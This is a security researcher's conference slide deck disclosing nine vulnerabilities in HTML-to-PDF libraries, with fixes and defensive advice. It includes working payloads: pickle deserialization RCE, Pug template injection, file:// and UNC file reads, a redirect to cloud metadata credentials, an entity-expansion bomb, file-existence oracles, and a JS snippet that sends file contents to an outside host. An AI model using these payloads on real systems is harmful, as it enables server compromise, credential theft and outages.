Pedro Cruz (a.k.a gankd)
Pentest Analyst & Vulnerability Researcher
Discovering 0-Days in HTML-to-PDF Generators (120 Million Monthly Targets)
WHO I AM
Pedro Cruz / gankd
Penetration Tester · Hakai Security · Florianópolis, BR
Offensive security analyst focused on pentesting, vulnerability research and bug hunting across web, cloud, infrastructure and mobile. Reported valid bugs to Google, Netflix, MercadoLibre, OpenAI, Notion and PortSwigger.
CERTIFICATIONS
OSCP+ · CRTO · DCPT · CHWI
LINKS
linkedin.com/in/pedr%CE%BF · github.com/g4nkd · x.com/gankd_
//attack to protect.
3
CVEs assigned
9+
0-days in HTML-to-PDF libraries
Top 5
HackerOne (Brazil)
2
Pending CVEs
THE TARGET
Why the PDF generator is the perfect target
Almost every rich app emits a PDF at some point, invoice, receipt, report, certificate, statement. Behind that “Export PDF” button there’s a lot of times an open-source lib assembling HTML with user data.
When input reaches the template unsanitized, the renderer starts interpreting attacker-controlled tags, CSS and SVG, and it runs on the backend, many times with access to the filesystem, the internal network and, with luck, the cloud metadata endpoint.
120M+
installs / month across the libs
downloads / month — ReportLab alone
9
0-days documented in this study
84M
//attack to protect.
//attack to protect.
THE REAL INPUT · DATA FLOW
The PDF is just the output
What you attack is the HTML assembled on the server. The document is only the byproduct.
//attack to protect.
01 · SOURCE
User input
The attacker controls the raw string that goes in.
untrusted
02 · SERVER
HTML template
The backend drops that string straight into markup, no sanitization:
html = f"<h1>{user}</h1>"
server-side
03 · RENDERER
Tags get interpreted
The engine parses attacker-controlled tags with the filesystem, the internal network and cloud metadata in reach.
the real attack surface
04 · OUTPUT
The PDF
The file handed back to the user. Renders clean. Proves nothing about what already ran on the box.
just the output
THE RULE The trust boundary is crossed the moment user data becomes HTML on the backend.
POPULAR ENGINES
Deep Dive into Popular Engines
//attack to protect.
OVERVIEW
The nine vulnerabilities
#
Library
Class
Impact
1
ReportLab
Insecure Deserialization
RCE
2
ReLaXed
Template injection (Pug)
RCE
3
WeasyPrint
link rel=attachment file://
Local File Read
4
WeasyPrint
SSRF bypass via redirect
SSRF
5
Browsershot
Blocklist misses UNC
LFI
6
mPDF
Billion Laughs in SVG
DoS
7
Dompdf
@font-face → OOM
File-exists oracle
8
TCPDF
Image error leaks path
File-exists oracle
9
mPDF
file_get_contents on dir
Directory enum
//attack to protect.
RECON
Attack surface & fingerprinting the engine
Where it shows up
Invoice, receipt, transfer confirmation Analytics report with a custom filter Course certificate (e-learning) Account export, bank statement Invitation, contract, proposal Ticket, voucher, pass
Read the metadata first
$ exiftool -Creator -Producer -CreatorTool -Software invoice.pdf
Producer
Runs
JS
WeasyPrint, mPDF, TCPDF, Dompdf, ReportLab
server
yes
no
wkhtmltopdf, Chromium, Browsershot, ReLaXed
server
jsPDF, pdf-lib, html2pdf
client
—
Server vs. client decides whether there’s a target.
//attack to protect.
#1 · DESERIALIZATION · PART 1 — SERIALIZATION
01
ReportLab — RCE via Deserialization
RCE
//attack to protect.
Serialization turns a live object into bytes you can save or send. Deserialization rebuilds the object from those bytes. Python’s built-in pickle does exactly this, and rebuilding an object can run code.
01 SERIALIZE
A live object is flattened into a compact string of bytes, usually base64-wrapped so it travels as plain text.
02 IT BECOMES INPUT
Those bytes arrive through a form field or API parameter. From here on, the attacker controls what they say.
03 DESERIALIZE = TRUST
pickle rebuilds the object from instructions baked into the bytes. A crafted one can run any command.
THE RULE: Deserializing untrusted data hands the attacker your interpreter. In ReportLab, one hidden tag inside a Paragraph is all it takes.
84M downloads/month (PyPI) · fix: 4.4.8 (2026-01-15)
#1 · DESERIALIZATION · PART 1 — SERIALIZATION
01
ReportLab — RCE via Deserialization
RCE
//attack to protect.
Static analysis quickly surfaces pickle.loads. The core problem: ReportLab's decode_label does this:
84M downloads/month (PyPI) · fix: 4.4.8 (2026-01-15)
def decode_label(label):
return pickle.loads(base64_decodebytes(label.encode('latin1')))
The question is: how does an attacker get their data all the way to that function?
#1 · DESERIALIZATION · PART 1 — SERIALIZATION
01
ReportLab — RCE via Deserialization
RCE
//attack to protect.
decode_label isn't called directly. It runs inside a method named _indexAdd, which lives on ReportLab's canvas object (the thing that draws the PDF).
But _indexAdd only exists if the app enables ReportLab's indexing feature:
84M downloads/month (PyPI) · fix: 4.4.8 (2026-01-15)
index_gadget = SimpleIndex()
doc.build(story, canvasmaker=index_gadget.getCanvasMaker())
#1 · DESERIALIZATION · PART 1 — SERIALIZATION
01
ReportLab — RCE via Deserialization
RCE
//attack to protect.
ReportLab also supports a tag you can put inside paragraph text:
84M downloads/month (PyPI) · fix: 4.4.8 (2026-01-15)
<onDraw name="SOME_METHOD" label="SOME_DATA"/>
This means: "call the method named SOME_METHOD on the canvas, and pass it SOME_DATA."
#1 · DESERIALIZATION · PART 2 — THE FLAW
01
ReportLab — RCE via Deserialization
84M downloads/month (PyPI) · fix: 4.4.8 (2026-01-15)
RCE
A Paragraph reads <onDraw> unsanitized, but the sink only fires once SimpleIndex arms the canvas.
01 · INPUT
Your text
Anything rendered inside a Paragraph.
→
02 · THE TAG
<onDraw>
name and label pulled from the HTML, unsanitized.
→
03 · THE GADGET
_indexAdd
Exists only because SimpleIndex armed the canvas via getCanvasMaker().
→
04 · DECODE
decode_label()
_indexAdd feeds the label straight to pickle, base64-decoded, unchecked.
→
05 · EXECUTE
pickle.loads()
The bytes are rebuilt into a live object.
attacker code runs here
doc.build([Paragraph(tag)],
canvasmaker=idx.getCanvasMaker())
#1 · DESERIALIZATION · PART 2 — THE FLAW
RCE
01
ReportLab — RCE via Deserialization
84M downloads/month (PyPI) · fix: 4.4.8 (2026-01-15)
import pickle, base64, os
class Exploit:
def __reduce__(self):
return (os.system, ('id > /tmp/pwn',))
blob = base64.b64encode(pickle.dumps(Exploit()))
tag = f"<onDraw name='_indexAdd' label='{blob}'/>"
doc.build([Paragraph(tag)],
canvasmaker=idx.getCanvasMaker())
01 CRAFT THE OBJECT
A class whose __reduce__ returns os.system with your command.
02 HIDE IT IN A TAG
Pickle it, base64 it, drop it into an <onDraw> tag now it’s just “text”.
03 IT FIRES
doc.build() rebuilds it via pickle.loads(). RCE before the PDF exists.
The victim submits a form field. The server runs your command. The PDF still comes back looking normal.
Weaponizing it takes one class. Its __reduce__ tells pickle to call os.system, so rebuilding it runs your command, during doc.build(), before the PDF is written.
#1 · DESERIALIZATION · PART 2 — THE FLAW
RCE
01
ReportLab — RCE via Deserialization
84M downloads/month (PyPI) · fix: 4.4.8 (2026-01-15)
//attack to protect.
One unsanitized field → command execution on the PDF server. And the fix is a single function call.
THE SCENARIO · bank statement export
1
The attacker sets their profile name to the <onDraw> payload.
2
They click Export Statement: the server calls doc.build().
3
os.system runs on the backend full RCE. The PDF returns, looking completely normal.
THE FIX · reportlab 4.4.8
- return pickle.loads(b64decode(label))
+ return literal_eval(
+ b64decode(label).decode('ascii'))
literal_eval parses only literals, no callables, no code. Update to ReportLab ≥ 4.4.8.
THE LESSON Never hand user data to pickle.loads not on any path, not for any reason. Use literal_eval, JSON, or a strict schema instead.
#1 · DESERIALIZATION · PART 4 - PROOF OF CONCEPT
//attack to protect.
ReportLab — RCE via pickle
#2 · TEMPLATE INJECTION
02
ReLaXed — RCE via Pug
RCE (as a service?)
//attack to protect.
The context passed to pug.render() leaves Node's require visible to the template. If user input is concatenated into the template source instead of passed as a local, Pug lets an attacker open a code block with '- …' and run arbitrary JavaScript in the render process leading to full RCE.
Fix — never concatenate input into the template source. Pass it as locals: pug.render(tpl, { title }), and strip require from the context.
#{""}
- var cmd = require(
'child_process')
.execSync('id')
.toString()
p RCE Result: #{cmd}
11.8k stars (clone / Docker) · sink: masterToPDF.js → pug.render()
#2 · TEMPLATE INJECTION
//attack to protect.
ReLaXed — RCE via Pug
#3 · LOCAL FILE READ
03
WeasyPrint — Local File Read
25M downloads/month (PyPI) · CVE-2024-28184
LFR
//attack to protect.
#3 · LOCAL FILE READ
03
WeasyPrint — Local File Read
LFR
//attack to protect.
WeasyPrint honors <link rel="attachment"> and lets its href be a file:// URL. The file is fetched and embedded as a real PDF attachment, so anyone opening the document can detach and read it.
Note: <link> renders nothing on the page, so sanitizers that only inspect visible content let it through.
<!-- attacker input -->
<link rel="attachment" href="file:///etc/passwd">
$ pdfdetach -saveall out.pdf
$ cat passwd
root:x:0:0:root:/root:...
25M downloads/month (PyPI) · CVE-2024-28184
#3 · LOCAL FILE READ
03
WeasyPrint — Local File Read
LFR
//attack to protect.
25M downloads/month (PyPI) · CVE-2024-28184
#3 · LOCAL FILE READ
03
WeasyPrint — Local File Read
LFR
//attack to protect.
25M downloads/month (PyPI) · CVE-2024-28184
credits to: nullie
#4 · SSRF BYPASS
04
WeasyPrint — SSRF Protections
WeasyPrint < 68.0 · CVE-2025-68616 · CVSS 7.5
SSRF
url_fetcher(url) runs before any HTTP goes out, you inspect the URL, then return the resource to allow it or raise to block it. Same hook for images, CSS, fonts and <link> targets.
HTML(source).write_pdf(
url_fetcher=my_fetcher)
my_fetcher("http://169.254.169.254/") → blocked · internal IP
my_fetcher("https://cdn.hakai.com/logo.svg") → fetched · 200 OK
#4 · SSRF BYPASS
04
WeasyPrint — SSRF Protection Bypass
WeasyPrint < 68.0 · CVE-2025-68616 · CVSS 7.5
SSRF
//attack to protect.
The app can validate URLs in a custom url_fetcher, but the default one calls urllib.urlopen, which follows 301/302/307 redirects on its own without re-entering the fetcher.
The blocked host (169.254.169.254) is reached on the second hop: point href at an attacker host that answers 302 then urllib follows blind.
Fix: upgrade to ≥ 68.0.
# victim renders this
<link rel="attachment"
href="https://gankd.com/redirect">
def go():
return redirect(
"http://169.254.169.254/latest/meta-data/iam/security-credentials/",
code=302)
#4 · SSRF BYPASS
WeasyPrint — SSRF via redirect
//attack to protect.
#5 · UNC BYPASS
05
Browsershot — LFI
1.92M installs/month (Packagist) · sink: $unsafeProtocols
LFI
//attack to protect.
The blacklist tries to block the file. Does anyone have any ideas on how this could be bypassed?
// incomplete blacklist
$unsafeProtocols = [
'file:', 'file://',
'file:\\', 'view-source',
];
#5 · UNC BYPASS
05
Browsershot — LFI via UNC
1.92M installs/month (Packagist) · sink: $unsafeProtocols
LFI
//attack to protect.
The blacklist blocks file in several forms but doesn't cover UNC. Chromium accepts \\localhost\etc\passwd and resolves it against the local filesystem.
Fix: allowlist (https://, http://, data:) instead of a blacklist. Everything else denied by default: protocol, host and path.
// incomplete blacklist
$unsafeProtocols = [
'file:', 'file://',
'file:\\', 'view-source',
]; // UNC is not here
<iframe src=
"\\localhost/etc/passwd"
width=1000 height=1000>
#5 · UNC BYPASS
05
Browsershot — FUZZ Time
1.92M installs/month (Packagist) · sink: $unsafeProtocols
LFI
//attack to protect.
After extensive fuzzing and testing, I discovered several additional ways to reveal the internal filesystem within an iframe, bypassing the file:// blacklist.
Key takeaway: use whitelists, not blacklists.
<iframe src="\\localhost/etc/passwd">
<iframe src="//127.0.0.1/etc/passwd">
<iframe src="\\//etc/passwd"></iframe>
<iframe src="file:///etc/passwd"></iframe>
<iframe src="file:///etc/passwd"></iframe>
<iframe src="file:///etc/passwd"></iframe>
//attack to protect.
#6 · BILLION LAUGHS · PART 1 — CONTEXT
06
Entity Expansion
2.63M installs/month (Packagist) · sink: Image/Svg.php::ImageSVG
DoS
//attack to protect.
XML lets you define entities, shortcuts that expand into text. <!ENTITY x "AAAA"> makes &x; expand to "AAAA". Nesting entities creates exponential growth.
preg_replace loop → no depth limit
This makes the SVG parser a perfect sink for entity-bomb payloads.
<!-- normal entity -->
<!ENTITY greeting "Hello">
<text>&greeting;</text>
<!-- expands to: Hello -->
<!-- nested = exponential -->
<!ENTITY a "AAAAAAAAAA">
<!ENTITY b "&a;&a;&a;&a;&a;">
#6 · BILLION LAUGHS
06
mPDF — DoS via SVG
2.63M installs/month (Packagist) · sink: Image/Svg.php::ImageSVG
DoS
Each pass re-expands the previous entity, so a short chain grows exponentially: 482 B of input balloons into ~1 GB of RAM.
482 B input → ~1 GB RAM
20 parallel requests take down the fleet.
<svg width=1 height=1>
<!ENTITY i "&h;&h;&h;&h;&h;">
<!ENTITY h "&g;&g;&g;&g;&g;">
<!ENTITY g "&f;&f;&f;&f;&f;">
... (chain a→i)
<!ENTITY a "AAAAAAAAAA">
<text>&i;</text>
</svg>
//attack to protect.
#7 · FILE-EXISTS ORACLE · PART 1 — PHP MEMORY LIMIT
07
Understanding PHP memory_limit
ORACLE
//attack to protect.
PHP's memory_limit directive (default 128 MB) caps how much RAM a single script can allocate. It prevents runaway scripts from crashing the server.
When exceeded, PHP kills the process with a fatal error, but this hard ceiling also becomes an oracle.
# php.ini
memory_limit = 128M
# when exceeded:
PHP Fatal error:
Allowed memory size of
134217728 bytes exhausted
#7 · FILE-EXISTS ORACLE
07
Dompdf — file-existence oracle
8M installs/month (Packagist) · CVE-2026-55555 · CVSS 6.3
ORACLE
//attack to protect.
Dompdf resolves @font-face src: url(file://…). If the target exists, the font engine attempts a heavy parse per declaration and blows past PHP's 128M memory_limit.
If it doesn't exist, it silently moves on.
That crash-vs-PDF split leaks file existence, even across a chroot. Fix: 3.1.6+ rejects paths outside the chroot in resolveUrl().
# repeat one decl xN
@font-face {
font-family: f;
src: url("file://
/etc/passwd"); }
# file exists:
PHP Fatal error: Allowed
memory size ... exhausted
# missing → PDF renders
#7 · FILE-EXISTS ORACLE
07
Dompdf — file-existence oracle
8M installs/month (Packagist) · CVE-2026-55555 · CVSS 6.3
ORACLE
//attack to protect.
Generate HTML with the same @font-face declaration repeated ~5,530 times, all pointing at the target path.
POST the payload to any endpoint that hands unsanitized HTML to Dompdf.
# payload_gen.php
for ($i=0; $i<$N; $i++) {
$css .= "@font-face{
font-family:f{$i};
src:url(file://{$f});}"; }
#8 · FILE-EXISTS ORACLE
08
TCPDF — file-existence oracle & path disclosure
3.25M installs/month (Packagist) · sink: Image() in tcpdf.php
ORACLE
//attack to protect.
On an <img> with no explicit width/height, TCPDF runs fileExists() then getimagesize(). When the path exists but isn't a valid image, a directory, or config.php, getimagesize() fails and Error() aborts with a message that includes the full path.
A 15k-entry list runs in one HTTP request; a WAF watching for 404s or traversal sees nothing, the fuzzing happens inside PHP.
<!-- probe list -->
<img src="config.php">
<img src="/.env">
<img src="/admin/">
# exists → error leaks:
TCPDF ERROR: [Image]
Unable to get the size
of /path/file
# missing → normal PDF
#8 · FILE-EXISTS ORACLE
08
TCPDF — Bonus: traversal bypass
3.25M installs/month (Packagist) · sink: Image() in tcpdf.php
ORACLE
//attack to protect.
# raw ../ → blocked
"../../etc/passwd"
# double-encoded → ok
"%252e%252e/etc/passwd"
TCPDF blocks ../ with strpos() but urldecode() runs after the check. Double-encode the dots: %252e%252e slips past strpos, then decodes back to ../ inside the absolute-path branch.
#9 · DIR-EXISTS ORACLE
09
mPDF — directory oracle
2.63M installs/month (Packagist) · sink: LocalContentLoader
ORACLE
//attack to protect.
LocalContentLoader calls file_get_contents($path) with no type check. On an existing directory, PHP emits a warning to stdout, but mPDF has already begun writing PDF bytes, so it dies with 'Output already sent'.
Crash vs. PDF is the oracle.
# vulnerable loader
def load($path):
return file_get_
contents($path)
<img src="/var/lib/docker"/>
dir exists → 'Output already sent' → fatal
missing → clean PDF
//attack to protect.
JS EXECUTION · IMPACT
What JS Execution Unlocks
SSRF · CSRF · LFI · RCE
Same primitive, four outcomes, the render worker runs your JS on the backend.
01 INTERNAL SERVER-SIDE REQUEST FORGERY (SSRF)
<script src="http://127.0.0.1/"></script>
fetch('http://169.254.169.254')
02 CROSS-SITE REQUEST FORGERY
fetch(url, {method:'POST',
credentials:'include'})
03 FILE READ
fetch('file:///etc/passwd')
.then(r=>r.text())
new Image().src='//oob/?'+d
04 REMOTE CODE EXECUTION (RCE)
require('child_process').execSync('id')
//attack to protect.
//attack to protect.
PLAYBOOK
The methodology — 6 steps
1
Read the metadata
exiftool fingerprints the engine. Server-side or client-side defines the vectors.
2
HTML injection
<h1>test</h1> in the field that shows in the PDF. Test entities and encoding.
3
Does JS run?
<script>document.write(…)</script>. Printed = headless engine. The test that decides the hunt.
4
With / without JS
With JS: fetch, XHR, cloud metadata, internal net. Without: tag by tag, iframe, link, svg,
5
Filter bypass
Encoding, alt protocol (UNC), alt tag, <base href>, redirect, 6to4 / NAT64 IP encodings.
6
Side-channel
Nothing reflects? Response time, status, crash vs. success, error messages leaking the path.
BLUE TEAM
Defensive recommendations
—
Allowlist, never blocklist. Protocol, host and path, deny by default.
—
Revalidate on every hop. A filter that doesn’t re-enter on a redirect is useless.
—
Don’t call an unsafe parser on user data. pickle.loads, eval, preg_replace in a loop, unserialize().
—
Engine with JS: disable JS, isolate the worker’s network, don’t load real session cookies.
—
A generic error message: closes most of the oracles.
—
Classify addresses by class, not by string. IsPrivate() misses 6to4 / Teredo / NAT64.
—
Fix the issue and publish a new software version containing that fix. A fix without a tag leaves downstream blind.
//attack to protect.
PRACTICING WITH HACKING CLUB
//attack to protect.
Practice
Hacking Club
The Certifia challenge simulates a server with the vulnerability from this post.
Practice
//attack to protect.
PRACTICING WITH HACKING CLUB
CONCLUSION
//attack to protect.
Linkedin & Research Blog Post
Presentation Feedback
CONCLUSION
//attack to protect.
Any questions?
pcruz@hakaisecurity.io
Thank you
//attack to protect.